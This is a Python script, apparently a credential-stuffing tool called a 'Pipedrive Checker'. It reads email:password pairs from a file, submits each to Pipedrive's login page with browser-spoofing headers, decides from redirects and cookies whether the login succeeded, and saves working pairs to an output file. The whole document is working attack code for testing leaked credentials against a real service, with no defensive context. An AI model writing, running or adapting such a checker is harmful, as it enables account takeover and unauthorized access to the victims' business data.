#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Final Pipedrive Checker - uses correct method
"""

import requests
import time

LOGIN_URL = "https://app.pipedrive.com/auth/login"
INPUT_FILE = "verified.txt"
OUTPUT_FILE = "done.txt"
DELAY = 1

def test_credential(email, password):
    """Test credential with proper method"""
    session = requests.Session()
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.9',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'keep-alive',
        'Origin': 'https://app.pipedrive.com',
        'Referer': 'https://app.pipedrive.com/auth/login',
        'Upgrade-Insecure-Requests': '1',
    }
    
    try:
        # Get login page
        session.get(LOGIN_URL, headers=headers, timeout=10)
        
        # Try login with form data
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        headers['Content-Type'] = 'application/x-www-form-urlencoded'
        
        response = session.post(
            LOGIN_URL,
            data=login_data,
            headers=headers,
            allow_redirects=True,
            timeout=10
        )
        
        final_url = response.url
        
        # Check result - most reliable method
        if '/auth/login' in final_url:
            return False
        elif '/app/' in final_url or '/deals' in final_url or '/dashboard' in final_url:
            return True
        elif 'pipedrive.com/app' in final_url:
            return True
        else:
            # If redirected away from login, check status code
            if response.status_code == 200 and '/auth/login' not in final_url:
                # Check if we have session cookies
                if 'pipe' in str(session.cookies).lower():
                    return True
            return False
            
    except Exception as e:
        return False

print("=" * 60)
print("FINAL PIPEDRIVE CHECKER")
print("=" * 60)
print(f"Input: {INPUT_FILE}")
print(f"Output: {OUTPUT_FILE}")
print("=" * 60)

try:
    with open(INPUT_FILE, 'r', encoding='utf-8') as f:
        lines = [line.strip() for line in f if line.strip()]
except:
    print(f"Error: {INPUT_FILE} not found!")
    exit(1)

total = len(lines)
working = 0

print(f"\nTesting {total} credentials...\n")

for i, line in enumerate(lines, 1):
    if ':' not in line:
        continue
    
    email, password = line.split(':', 1)
    print(f"[{i}/{total}] {email[:45]:<45} ", end="", flush=True)
    
    if test_credential(email, password):
        print("✓ WORKING")
        with open(OUTPUT_FILE, 'a', encoding='utf-8') as f:
            f.write(f"{email}:{password}\n")
        working += 1
    else:
        print("✗")
    
    if i < total:
        time.sleep(DELAY)

print("\n" + "=" * 60)
print(f"RESULTS: {working} working → {OUTPUT_FILE}")
print("=" * 60)

